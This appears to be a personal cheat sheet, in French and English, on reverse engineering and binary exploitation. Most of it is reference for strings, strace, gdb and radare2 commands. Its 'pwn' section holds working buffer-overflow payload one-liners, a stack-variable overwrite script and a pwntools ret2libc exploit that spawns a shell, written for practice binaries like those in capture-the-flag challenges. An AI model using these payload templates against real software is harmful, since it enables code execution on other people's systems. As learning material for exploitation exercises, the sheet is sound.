reverse


tools


# informations sur le fichier
$ file <binary>
# chaînes de caractères
$ strings -a -n 7 <binary>
# @ zones mémoires, @ fonctions, ...
$ nm <binary>
# appels de fonctions
$ ltrace <binary>
# appels système et signaux
$ strace <binary>
# @ fonctions
$ readelf -s <binary>
# messages noyau (ex: crash d'un prog. avec EIP)
$ dmesg

gdb


basic

$ gdb -q ./a.out

# intel syntax
> gdb set disassembly-flavor intel

# disas
> disas main

# disas with opcodes
> disas /r main

# help
> help run
> help all

# execution
> r # run

# functions addresses
> info function

# sections addresses
> info files

# set breakpoint
> b main
> b *0x12345678
> b 5 if i==2 # with condition

# edit breakpoints
> info break
> delete
> delete 1
> disable 1
> enable 1

# execute line by line (code) (sans profondeur)
> n # next

# execution until next breakpoint
> c # continue

# execute line by line (asm) (avec profondeur)
> step

> set pagination off

# show variable
> print i # p i
> p i
> p &i # show addresse
> whatis i # show type

# function signature
> whatis main

# show i value at each step
> display i

# quit
> q # quit

# edit varible
> set i=10 
> set $eip=10

# show env variables
> show env
> show env PATH

# afficher la pile d'éxecution
> where

# afficher program counter
> print $pc

# sauter à une adresse
> x 0x55555555474b

# afficher stack pointer
> print $sp

# exécuter commande shell
> shell ps

# define function in gdb
> define xxd
    >dump binary memory dump.bin $arg0 $arg0+$arg1
    >shell xxd dump.bin
    >end
> xxd &j 10 

> i r # info registers

> x call_me

# ce qu'il y a à partir de l'adresse de esp (rsp)
> x/16x $esp

# affiche instru
> x/s 0x......

> x/s *((char **)environ)

> run < <(python3 ./shellcode.py)

graphic

# fenêtre avec le code
ctrl + x + a

# mode assembleur
ctrl + x + 2

# mode registres
ctrl + x + 2

# afficher registres de float
> tui reg float

# afficher les registres généraux
> tui reg general

# afficher tous les registres
> tui reg all

# commande précédente
ctrl + p

# backtrace
> bt

# reviens juste avant la fin
> reverse-stepi

functions

# executed at each stop (not only breakpoint)
> define hook-stop # with hook-stop
    Type commands for definition of "hook-stop".
    End with a line saying just "end".
    >p/c $al
    >set $dl=$al
    >end

# executed at each breakpoint
> command 1 2 3 4
    Type commands for breakpoint(s) 1 2 3 4, one per line.
    End with a line saying just "end".
    >p/c $al
    >set $dl=$al
    >end

show variable

> x/[nb-bloc][format][bloc-size] [address]

# [nb-bloc] : nombre de blocs à afficher
# [format] : format d’affichage, s (string)/i (instruction machine)/x (hexadecimal)
# [bloc-size] : taille des blocs b(1byte)/h(2bytes)/w(4bytes)/g(8bytes)
# [address] : à partir d’où afficher la mémoire.

> p/d i # afficher mode signé
> p/u i # afficher mode non signé
> p/f i # mode flottant
> p/c i # mode caractère
> p/t i # mode binaire
> p/o i # mode octale
> p/x i # mode hexa
> p/a i # mode adresse

radare2


$ r2 -d -w -A ./file.bin
# -d: debug
# -w: allow writing
# -A: aaaa at start

# print functions
> afl

# jump to main function
> s main

# print current function
> pdf

# set breakpoint
> db 0x87654321

# continu (next breakpoint)
> dc

# next line
> ds

# info registers
> dr

# edit register
> dr eip=0x08048709

# new execution
> ood arg1 arg2

# local varibale values
> afvd

# show stack
> pxr @ esp

# edit instruction at 0x080486fc (r2 -w ...)
> s 0x080486fc
> wa jne 0x80486fe

pwn


# follow buffer overflow message
$ dmesg | tail
... segfault at 41414141 ... # or see -> 'ip' and not 'at'

# address of function
$ readelf -s vuln.out

# pack addresses
$ python3 -c "import struct; print(repr(struct.pack('<I', 0x080485cb)))"
b'\xcb\x85\x04\x08'

# payload example
$ python3 -c "import struct; print('A'*44 + struct.pack('<I', 0x080485cb))" | ./vuln

# shellcode on shell-storm.org/shellcode
$ (python3 -c "print('shell code')"; cat) | ./vuln

# LD_PRELOAD to replace function

python


#!/usr/bin/env python3

import sys
import struct

payload = b'A'*20 # to fill char buf[40];
payload += struct.pack('<I', 0xdeadc00f)
# <: little indian
# I; unsigned int
# Oxdeadbeef: change the value of 'check' to 0xdeadbeef

# print final payload in bytes
sys.stdout.buffer.write(payload)
# (python3 /tmp/get_flag.py; cat) | ./ch13
# example
import pwn

pwn.p32(0x080485cb) # same that pack

# push args then function
# ebp + 0x4 -> return address
# ebp + 0x8 -> arg 1
# ebp + 0xc -> arg 2
'A'*100 + EIP + return @ + arg1 + arg1 + ...

echo `python -c "print('A'*100)"` | ./vuln
# ret2libc
import pwn

gdb_puts = 0xf7e51ca0
gdb_system = 0xf7e2cda0

offset = gdb_puts - gdb_system

elf = pwn.ELF('./vuln')
p = elf.process()

prompt = p.recv()

puts = int(re.findall('puts: (.*)', prompt)[0], 16)
bin_sh = int(re.findall('useful_string: (.*)', prompt)[0], 16)

system = puts - offset

payload = 'A'*160
payload += pwn.p32(system)
payload += 'RETN'
payload += pwn.p32(bin_sh)

p.sendline(payload)
p.interactive()
$ python3
> import pwn
> import binascii

> binascii.hexlify(pwn.asm('xor eax, eax'))
b'31c0'

> binascii.hexlify(pwn.asm('nop'))
b'90'

protections


// TODO

sources

  • vidéo
  • vidéo
  • vidéo
  • https://www.dailysecurity.fr/
  • https://www.dailysecurity.fr/la-stack-smashing-protection/
  • https://www.segmentationfault.fr/linux/role-plt-got-ld-so/

pratique